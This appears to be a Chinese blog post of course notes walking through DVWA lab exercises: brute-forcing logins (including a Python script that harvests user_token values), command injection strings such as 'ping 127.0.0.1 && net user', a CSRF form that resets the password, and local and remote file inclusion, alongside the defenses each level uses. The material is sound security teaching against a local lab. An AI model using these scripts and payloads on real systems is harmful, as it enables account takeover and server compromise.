web安全[网易白帽子课程笔记+体会]-04WEB安全实战

在这里插入图片描述

一、DVWA部署

1、打造firefox渗透测试神器

  • firebug
  • hackbar
  • tamper data
  • proxy switcher

2、部署web服务器环境

在这里插入图片描述
下载phpstudy环境集成包直接部署。

3、部署web渗透测试环境DVWA

  1. 从github下载DVWA
  2. 将DVWA-master.zip解压到phpstudy网站的WWW根目录。
  3. 修改dvwa的数据库配置文件config/config.inc.php,修改红框中的密码为root,和phpstudy保持一致
    在这里插入图片描述
  4. 访问http://自己电脑的IP/DVWA目录/setup.php,点击“Create/Reset Database”按钮创建数据库。
    在这里插入图片描述
  5. 跳转到http://自己电脑的IP/DVWA目录/login.php,输入用户名admin,密码password,成功登陆,DVWA部署成功。
    在这里插入图片描述

二、暴力破解

1、概述

暴力破解即穷举法,理论上可以破解任何有规律的信息,只要算力够强。以忘记行李箱密码为例。
在这里插入图片描述
在这里插入图片描述

2、手工实战

2.1 登录dvwa进入brute force模块

打开dvwa设置security level为low进入brute force模块。
在这里插入图片描述

2.2 确认破解动作

  1. 输入用户名
  2. 输入密码
  3. 点击login按钮
    在这里插入图片描述

2.3 确认破解结果

  1. 输入任意用户名密码,得到登录失败的红字Username and/or password incorrect提示。
    在这里插入图片描述
  2. 与破解行李箱不同,破解成功行李箱打开是常识,但这里是不知道输入正确用户名和密码后页面的变化的。但可以确定的是成功页面与失败页面不同
    在这里插入图片描述

2.4 确认破解范围

准备username.txt、password.txt,其中username含有4个用户名,password含有8个密码,破解范围共有32种组合。
在这里插入图片描述

2.5 开始暴力破解

  1. 输入用户名admin与密码password组合
    在这里插入图片描述
  2. 破解成功界面如下
    在这里插入图片描述

3、自动实战

仍然将dvwa的security level设置为low进入brute force模块。

3.1 安装代理软件owasp zap

下载链接:https://www.zaproxy.org/download/
需要首先安装java环境
在这里插入图片描述

3.2 确认破解动作

进一步分析手动操作过程,只有点击login按钮后,浏览器才向服务器发送了数据包。
在这里插入图片描述
配置好firefox代理,使用zap抓包
在这里插入图片描述
仔细分析,我们可以使用zap代替浏览器,直接向web服务器发送数据包,通过程序循环调整数据包中的参数,即可达到自动化的目标。
在这里插入图片描述

3.3 确认破解结果

可以对比源码的方式,判断破解是否成功,但是也比较慢。
在这里插入图片描述
可以通过zap中响应包的大小,来判断正确与否。
在这里插入图片描述

3.4 确认破解范围

破解范围与手工操作类似,具体操作时可以在zap中设置对应于username和password字典文件即可。
在这里插入图片描述

3.5 开始暴力破解

破解结果与手工操作相同。
在这里插入图片描述

4、实战进阶

以上手工和自动实战都是将dvwa的security level设置为low实操作的,下面我们尝试设置为其他等级时候的情况。

4.1、设置security level为medium

依然能够破解成功,区别在于需要等待更长的时间,low等级每次发包间隔是毫秒级,而medium等级是秒级。
在这里插入图片描述
阅读dvwa的源码可知,medium等级每当登录失败会暂停两秒,增加了破解的时间成本。
在这里插入图片描述

4.2、设置security level为high

  1. 之前的破解已经失效,抓包每次登陆多了一个user_token参数,并且是不可预测的随机字符串。通过搜索查找,发现user_token在上一条数据的响应包中。
    在这里插入图片描述
  2. 设计破解动作为,不断重复访问首页并获取user_token,发送带user_token的登录数据包。
    在这里插入图片描述
  3. 破解代码如下
#-*-coding:utf-8-*-
import urllib2
import urllib
import re

opener = urllib2.build_opener(urllib2.HTTPCookieProcessor)
opener.addheaders 
    #此时会显示 "Python-urllib/2.7" ,改写addheaders[0]为浏览器的User-Agent,覆盖掉原来的Python-urllib/2.7
opener.addheaders[0]=("User-Agent","Mozilla/5.0 (Windows NT 6.1; rv:53.0) Gecko/20100101 Firefox/53.0") 
    #添加Cookie
opener.addheaders.append(('Cookie','security=high;PHPSESSID=dd6nn632vd940m8rls6u9egv82'))
    #最后可以使用一个opener打开多个内容

usernames = ['admin','manage','system','root']
passwords = ['admin','root','123456','password','abc123','111111','qwerty','000000']

for username in usernames:
	for password in passwords:
		#确认破解动作
		#访问首页
		response = opener.open('http://10.0.2.15/DVWA-1.9/vulnerabilities/brute/')
		content = response.read()
		#获取user_token
		user_token = re.findall(r"(?<=<input type='hidden' name='user_token' value=').+?(?=' />)",content)[0]
		#发送数据包
		url = 'http://10.0.2.15/DVWA-1.9/vulnerabilities/brute/?username='+username+'&password='+password+'&Login=Login&user_token='+user_token
		response = opener.open(url)
		content = response.read()
		#确认破解结果
		print '-'*20
		print u'用户名: '+username
		print u'密码: '+password
		if 'Username and/or password incorrect.' in content:
			print u'破解失败!'
		else:
			print u'破解成功!'
		print '-'*20
  1. 破解结果截图

在这里插入图片描述

4.3、设置security level为impossible

限制登录次数,输错3次,锁定15分钟,防止暴力破解。
在这里插入图片描述

4.4、现实中常见的防爆方式为验证码

在这里插入图片描述

三、命令注入

1、概述

命令注入即 Command Injection。是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。
在这里插入图片描述

2、漏洞实战

2.1 设置security level为low

  • 输入的命令为 ping 127.0.0.1 && net user
    在这里插入图片描述
  • 结果如图
    在这里插入图片描述

2.2 设置security level为medium

  • 输入的命令为 ping 127.0.0.1 & net user
    由于两个&&符号被过滤,这里使用了windows下的命令拼接符号,一个&符号。
    在这里插入图片描述
  • 结果与low等级相同

2.3 设置security level为high

  • 输入的命令为 ping 127.0.0.1 | net user
    此时两个&&符号和一个&符号均被过滤,这里使用了windows下的管道符号,一个|符号,表示将前一个命令的输出结果传递给下一个命令。
    在这里插入图片描述
  • 结果如图
    可以看到只有net user的结果展示了出来,ping命令的输出结果被当做了net user命令的输入没有展示,但是不影响利用。
    在这里插入图片描述

2.4 设置security level为impossible

  1. 尝试以上的注入方式后,均以失败告终,impossible等级通过限制输入IP地址的格式,有效的防止了命令注入。
    在这里插入图片描述
  2. 对修复命令注入漏洞的一些思考
  • 黑名单×: 往往不靠谱,因为经常可以通过各种字符串拼接的技巧绕过。
  • 白名单√:比较靠谱,比如这里的限制IP地址格式。
  1. windows下常见命令拼接符号的区别
    在这里插入图片描述

3、实战技巧

3.1、黑名单过滤了敏感命令怎么办?

windows下可以通过双引号“”拼接的方式绕过,linux下单引号和双引号都支持。
在这里插入图片描述

3.2、如果不显示输出结果怎么办?

  1. 延时注入
    拼接延时的命令,通过web服务器的响应时间来判断。
  2. 远程请求
    搭建web服务器,让被注入的主机来请求,前端看不到响应信息,但是在我们搭建的web服务器上可以看到请求。现在更常用的是dns查询,比如nslookup查询。
    在这里插入图片描述

四、CSRF

1、概述

csrf即cross-site request forgery跨站请求伪造,由受害者进行操作,仅仅F由攻击者进行,也是csrf漏洞的精髓所在。
受害者角度,用户在当前已登录web应用程序上执行非本意的操作。
攻击者角度,攻击者欺骗浏览器,让其以受害者的名义,执行自己想要的操作。
在这里插入图片描述

2、漏洞实战

2.1 设置security level为low

  1. 正常操作流程如下,为常见的密码修改界面,可正常手工操作。 在这里插入图片描述
  2. 与暴力破解类似,以上三步正常操作流程,仅最后一步发送数据包时,浏览器与web服务器进行了交互。
    在这里插入图片描述
  3. 使用火狐的tamper data插件抓包如下,右键点击记录后,选择replay in browser。
    在这里插入图片描述
  4. 转到如图页面,可以对数据包进行tamper修改,可以将参数中的test修改为password进行验证。
    在这里插入图片描述
  5. 由此可以得到攻击者的原始思路如下,将2步骤中发送的数据包,编辑成下图蓝色框中的链接,诱导受害者点击,但是我们看到这种链接,一般是不会点击的。
    在这里插入图片描述
  6. 将上面的连接包装一下,构造一个新的html文件如下,input和split url中的参数一一对应,这里为了演示通过点击Click Me按钮提交,真正攻击时,黑客都是通过js脚本自动提交。
    在这里插入图片描述
  7. 构造的csrf.html内容如下,并将其放到phpstudy的WWW根目录下,为了与dvwa进行区分这里使用127.0.0.1进行访问。

csrf.html

<html>

<head>
	<title>csrf_test</title>
</head>
<body>
	<form action = "http://10.0.2.15/DVWA-1.9/vulnerabilities/csrf/">
		<input type = "hidden" name = 'password_new' value = "hacker" />
		<input type = "hidden" name = 'password_conf' value = "hacker" />
		<input type = "hidden" name = 'Change' value = "Change" />
		<input type = "submit" value = "Click Me" />
	</form>
</body>

</html>
  1. 诱骗受害者进行点击,点击后密码被修改为hacker,攻击者即使发现也已经为时已晚,攻击者已经进行了自己想要的操作。
    在这里插入图片描述

2.2 设置security level为medium

  1. 使用low等级的方法,提示请求不正确。
    在这里插入图片描述
  2. 继续使用tamper data,抓取一次手工输入的正确数据包,和一次使用low等级方法访问http://127.0.0.1/csrf.html进行操作的错误数据包进行对比,可以看到最大的不同就是Referer这个变量不同。
    在这里插入图片描述
  3. 点击tamper data的start tamper,抓取数据包修改Referer进行不断尝试,直到成功。
    在这里插入图片描述
  4. 尝试得知Referer只要包含host就能绕过medium等级的限制。
    在这里插入图片描述
  5. medium等级新的攻击尝试,自动生成的Referer前面的127.0.0.1是不能修改的,既然是Referer包含host就能绕过限制,那可以通过构造名称为host的网站目录来达到这一目的。思路如图!结果成功与low等级相同。
    在这里插入图片描述

2.3 设置security level为high

  1. 对比发现请求参数中比medium和low等级多了一条user_token,这个与暴力破解的user_token类似,来源于上一条记录。
    在这里插入图片描述
  2. 使用medium和low等级的方法已经无法利用,需要结合xss漏洞获取页面中的user_token参数后,才能进行csrf攻击。
    在这里插入图片描述
  3. 上面图片中红框中提示的错误信息并不是user_token,而是csrf_token,我们称这种类型的随机参数为csrf token,它保证了攻击者无法猜测到所有参数
    在这里插入图片描述

2.3 设置security level为impossible

  1. 需要输入原始密码才能修改密码,理论上只有用户自己才知道密码,有效的防止了CSRF。
    在这里插入图片描述

3、漏洞修复

  1. medium等级的校验Referer
  2. high等级的随机token
  3. impossible等级的验证码或者原始密码,牺牲了用户体验

五、文件包含

1、概述

文件包含就是三十六计中的偷梁换柱,一些代码处理方法,如include,require等,参数是文件名,文件名参数用户可控,且过滤不严,就会被攻击者利用。
在这里插入图片描述

2、漏洞实战

首先要将phpstudy中的allow_url_include勾选,开启文件包含功能。
在这里插入图片描述

2.1、设置security level为low

2.1.1、本地文件包含
  1. 正常操作,变化的url参数只有page后面的file.php

在这里插入图片描述

  1. 尝试将page参数改为test.php,报错,同时暴露了web的绝对路径。

在这里插入图片描述

  1. 思考,由暴露出来的绝对路径猜测include函数的参数如下。
    在这里插入图片描述
  2. 攻击-读取本地文件,通过…/…/实现目录跳转,读取php.ini的内容,验证成功。

在这里插入图片描述

  1. 思考,读取其他目录的php脚本会怎样,是显示脚本内容,还是执行?通过读取phpinfo.php验证结果为执行脚本。
    在这里插入图片描述
2.1.2、远程文件包含

攻击者肯定是不满足的,执行服务端本来就有的脚本文件,没什么杀伤力,能不能包含远程文件呢?前面一会显示文件内容,一会执行文件,到底什么时候执行文件?
在这里插入图片描述
远程文件包含使用127.0.0.1的网站,其实和dvwa在同一个网站目录下,只是写法不同,通过在127.0.0.1的网站中放入内容如图所示的phpinfo.txt。
在这里插入图片描述
按照如图红框所示的方式,远程包含127.0.0.1网站的phpinfo.txt,结果成功执行。由此得出可以执行远程文件,而且非php格式的文件,只要里面包含php代码就能执行,其实嵌入php的代码的图片,也会被执行
在这里插入图片描述
需要注意的是,其实本地包含中的phpinfo.php、phpinfo.txt和远程包含的phpinfo.txt、phpinfo.php均会被执行。但是通过运行结果的server_name可知,远程包含的phpinfo.php是在攻击者的服务器上执行的,在被攻击者的服务器上执行才是我们想要的结果,因此远程包含时phpinfo.txt或者其他非php格式的文件才是正解
在这里插入图片描述
完整的攻击者思路图解如下。
在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值